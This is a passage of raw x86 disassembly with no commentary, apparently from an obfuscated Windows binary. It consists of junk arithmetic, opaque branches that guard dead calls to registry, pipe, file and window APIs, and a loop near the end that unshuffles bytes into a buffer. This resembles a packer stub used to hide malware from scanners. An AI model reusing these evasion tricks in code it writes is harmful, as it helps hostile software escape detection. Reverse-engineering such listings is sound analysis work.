jmp 0x44be1c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x178], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x44be0b
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x34]
jle 0x44be31
mov eax, edx
cmp dword [ebp - 0x14], edx
je 0x44be33
mov eax, esi
add eax, 0x6916f167
jne 0x44be3d
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
jle 0x44be56
cmp dword [ebp - 4], edx
je 0x44be58
mov edx, esi
mov dword [ebp - 0x174], edx
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x48]
cmp edx, eax
mov eax, dword [ebp - 0x44]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x14]
jg 0x44be8e
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x44be90
mov ecx, esi
mov eax, dword [ebp - 0x34]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x44]
push 0
sete dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
cmp ecx, 0x78c0
setle al
cmp eax, 0xfffc
mov eax, dword [ebp - 0x34]
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x48]
sub edx, eax
mov eax, dword [ebp - 4]
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setle dl
xor ecx, ecx
cmp edx, eax
pop edx
sete cl
sub ecx, dword [ebp - 4]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jl 0x44bdf8
dec dword [ebp - 0xc]
push 1
pop ecx
jns 0x44bdac
mov esi, dword [ebp - 0x38]
mov eax, 0x3dd33a4a
add ebx, 8
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x10], 0xcba2afe0
mov dword [ebp - 0x10], edx
jmp 0x44c012
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xa70051ef
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 3
jg 0x44c00f
mov dword [ebp - 0x1c], 0xc5735e4b
xor edx, edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0xc4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0xc4]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + eax*4 - 0xc4]
mov eax, dword [ebp - 0xc0]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xc4]
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x15fb
jl 0x44bfed
mov dword [ebp - 4], edx
jmp 0x44bfde
mov dword [ebp - 0x1c], edx
jmp 0x44bfd5
mov dword [ebp - 0x20], 0xfffffffa
inc dword [ebp - 0x20]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x44bfc8
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jle 0x44bfc3
mov dword [ebp - 0x1c], 0xbc227363
jmp 0x44bfff
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44bfff
push edx
push edx
call dword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x44bf5d
xor ecx, ecx
inc ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x44bf43
test esi, esi
jne 0x44c023
add ebx, 8
mov dword [ebp - 0x38], 0xc8b13eca
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44c049
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44c065
push 0xf4f
push 0x1b9
push edx
call dword [sym.imp.USER32.dll_OffsetRect]
xor edx, edx
add ebx, dword [ebp - 0x24]
inc edi
push 1
mov dword [ebp - 0x1c], ebx
pop esi
cmp edi, dword [ebp - 0x28]
jl 0x44ba86
mov dword [ebp - 4], 0xffffffff
xor edx, edx
push 3
pop edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], 0x64b9
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0x2dc6606a
mov dword [ebp - 0x24], 0xe45104f3
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
test eax, eax
mov eax, dword [ebp - 4]
setns dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], esi
je 0x44c0db
mov eax, edx
cmp dword [ebp - 0x1c], edx
je 0x44c0dd
mov eax, esi
cmp eax, dword [ebp - 4]
je 0x44c1ae
mov dword [ebp - 0xc], esi
push 5
mov dword [ebp - 0x18], 0xfffffffa
pop edi
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffd
sbb eax, eax
inc eax
cmp eax, 0xfffffffe
jle 0x44c10f
mov ecx, esi
cmp dword [ebp - 0xc], edx
jne 0x44c111
mov ecx, edx
mov eax, dword [ebp - 0xc]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xdd25
mov eax, dword [ebp - 0xc]
setle cl
sub eax, ecx
sub eax, edi
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, esi
mov eax, dword [ebp - 0xc]
setl cl
xor edx, edx
cmp eax, ecx
setne dl
xor ecx, ecx
sub edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp edx, eax
setg cl
mov dword [ebp - 0xc], ecx
xor ecx, ecx
mov eax, dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
sub edx, 0xfeed
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x4b1c2fbf
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, 0x6a9
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
jmp 0x44c1df
mov dword [ebp - 0x24], 0x2f725dc8
mov dword [ebp - 0x10], edx
jmp 0x44c1cb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x118], 0x42ea6ae2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x44c1ba
dec dword [ebp - 0x118]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 4]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x28]
jl 0x44c208
mov eax, esi
cmp dword [ebp - 0x1c], edx
jne 0x44c20a
mov eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edi, dword [ebx]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0xe8588d0d
mov dword [ebp - 0x14], 0x47bb7ab6
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x24], esi
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x28], 0x2e2cc7bc
mov dword [ebp - 0x20], 0x11e8
mov dword [ebp - 0x10], edx
jmp 0x44c26a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13c], 0xe3e7631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44c259
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x28]
dec dword [ebp - 0x18]
cmp eax, ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmove esi, edx
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
imul edx, dword [ebp - 0xc]
cmp esi, edx
setl al
cmp eax, dword [ebp - 0x14]
je 0x44c2a1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x1c]
cmp eax, 0x4041
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x20], ecx
inc edx
mov eax, dword [ebp - 0x20]
add ebx, 4
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], ecx
jmp 0x44c2f3
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x44c2e6
push 3
mov dword [ebp - 0xc], ecx
pop esi
jmp 0x44c312
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1c8], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x44c301
mov dword [ebp - 0x90], ecx
cmp dword [ebp - 0x90], 0x1a
je 0x44c438
xor ebx, ebx
inc ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ecx
je 0x44c3e7
mov dword [ebp - 0xc], 9
inc dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
jmp 0x44c3db
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x44c35e
push ecx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor ecx, ecx
mov dword [ebp - 0x14], 0xfffffff7
jmp 0x44c3d2
mov dword [ebp - 4], 0x12
jmp 0x44c3c9
mov dword [ebp - 0x10], ecx
jmp 0x44c386
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x88], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x44c375
mov dword [ebp - 0x84], 0xffffffe6
jmp 0x44c3bd
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x44c3b7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ecx, ecx
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], 0xfffffffd
jle 0x44c398
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xc
jne 0x44c370
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe9
jl 0x44c367
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 8
jg 0x44c34b
jmp 0x44c3ff
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x44c3ff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
xor ecx, ecx
mov byte [ebp - 5], cl
cmp byte [ebp - 5], 0
je 0x44c41f
push ecx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
xor ecx, ecx
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], 0x1a
jne 0x44c32d
mov ebx, dword [ebp - 0x1c]
xor edx, edx
inc edx
mov ebx, dword [ebx]
mov dword [ebp - 0x18], 0x703c5764
mov dword [ebp - 4], ecx
jmp 0x44c454
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x40], 0xd59e57ad
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x44c446
mov dword [ebp - 4], ecx
jmp 0x44c46c
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1b0], edx
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x44c45f
mov dword [ebp - 4], ecx
jmp 0x44c488
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x134], 0x2a5bc422
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x44c477
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x1a4], edx
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x3c]
cmp edx, eax
sete cl
xor esi, esi
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jne 0x44c4d2
cmp dword [ebp - 0x134], esi
jne 0x44c4d2
mov edx, esi
jmp 0x44c4d7
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
push 3
sete cl
xor edx, edx
cmp ecx, 0xfffffff8
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, 0x3888
setne dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xffff0001
setg cl
add dword [ebp - 0x1c], 4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0xede0
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
pop ecx
jmp 0x44c545
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x16c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x44c538
cmp dword [ebp - 4], esi
je 0x44c554
xor eax, eax
lea esi, [eax + 1]
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0x20e3
setge al
cmp eax, dword [ebp - 4]
jl 0x44c57f
cmp dword [ebp - 0x18], 0
je 0x44c57f
xor eax, eax
inc eax
jmp 0x44c581
xor eax, eax
mov edx, 0xfc429adb
sub edx, eax
sub edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
neg edx
sbb edx, edx
neg eax
inc edx
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
add ecx, esi
je 0x44c5cb
xor esi, esi
mov dword [ebp - 0x24], 0x5befa1e1
inc esi
mov dword [ebp - 0x24], esi
mov byte [ebp - 5], dl
cmp byte [ebp - 5], dl
je 0x44c707
push 0x1b42
call dword [sym.imp.GDI32.dll_GetStockObject]
jmp 0x44c705
xor esi, esi
inc esi
push 3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xc], edx
pop ecx
jmp 0x44c5ea
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xdc], 0x1253
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x44c5d9
mov dword [ebp - 0xc], edx
jmp 0x44c601
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x100], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x44c5f4
mov dword [ebp - 4], edx
jmp 0x44c6e4
mov dword [ebp - 0x28], 0x268f57f5
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xdc]
inc dword [ebp - 0x20]
je 0x44c62e
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xdc]
mov eax, dword [ebp - 4]
mov ecx, esi
mov eax, dword [ebp + eax*4 - 0xdc]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x28]
sub ecx, eax
je 0x44c657
mov eax, esi
cmp dword [ebp - 0xf8], edx
jne 0x44c659
mov eax, edx
xor ecx, ecx
cmp eax, 0x5461
mov eax, dword [ebp - 0xfc]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0xfc], edx
test edx, edx
sete al
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, dword [ebp - 0xd4]
imul eax, eax, 0x18ce
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 4]
test eax, eax
mov eax, dword [ebp - 4]
setns cl
sub ecx, dword [ebp + eax*4 - 0xdc]
neg ecx
sbb ecx, ecx
neg ecx
xor edx, edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], edx
jmp 0x44c6db
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44c6d8
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor edx, edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x2b
jne 0x44c6c5
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jle 0x44c60e
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44c707
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
xor edx, edx
mov byte [ebp - 5], dl
cmp byte [ebp - 5], 0
je 0x44c72b
push 0x12f2
push 0x23b8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
xor edx, edx
test ebx, ebx
jne 0x44c819
cmp byte [ebp - 0x29], bl
je 0x44c746
cmp dword [ebp - 0x6c], esi
jne 0x44c746
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x10]
add dword [ecx + 8], eax
mov ecx, dword [ebp - 0x1c]
push edi
mov eax, dword [ecx]
mov dword [ebp - 0x6c], eax
mov eax, dword [ecx + 4]
add ecx, 8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
call fcn.0049109a
mov ebx, eax
xor eax, eax
pop ecx
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xe4]
push eax
push edi
mov dword [ebp - 0x38], ebx
call fcn.00472cc2
mov esi, dword [ebp - 0x9c]
xor edx, edx
mov ecx, edx
test edi, edi
jle 0x44c7f2
mov eax, ecx
and eax, 0x80000001
jns 0x44c7af
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x6c]
add eax, ecx
add eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x24]
cdq
idiv edi
xor eax, eax
cmp word [esi + edx*2], ax
je 0x44c7db
xor ebx, ebx
lea eax, [edx + 1]
cdq
idiv edi
cmp word [esi + edx*2], bx
jne 0x44c7cc
mov ebx, dword [ebp - 0x38]
xor eax, eax
inc eax
mov word [esi + edx*2], ax
mov eax, dword [ebp - 0x1c]
mov al, byte [edx + eax]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jl 0x44c7a1
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov dword [eax + 4], ebx
test esi, esi
je 0x44c81e
push esi
call fcn.00492656
xor edx, edx
pop ecx
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], edx
mov esi, dword [ebp + 8]
jmp 0x44c820
mov esi, eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp + 8], edx
jmp 0x44c83d
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x154], 0x20624039
inc dword [ebp + 8]
cmp dword [ebp + 8], 3
jl 0x44c82c
mov byte [ebp + 0xb], dl
cmp byte [ebp + 0xb], 0
je 0x44c85c
push 0x163c
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
push 2
mov dword [ebp - 0x14], edx
pop ebx
jmp 0x44c899
mov dword [ebp - 0x28], 0xff55e00f
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], edx
jl 0x44c896
mov byte [ebp + 0xb], dl
cmp byte [ebp + 0xb], 0
je 0x44c885
push edx
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x154], edx
jne 0x44c896
dec dword [ebp - 0x28]
jns 0x44c873
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x44c864
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret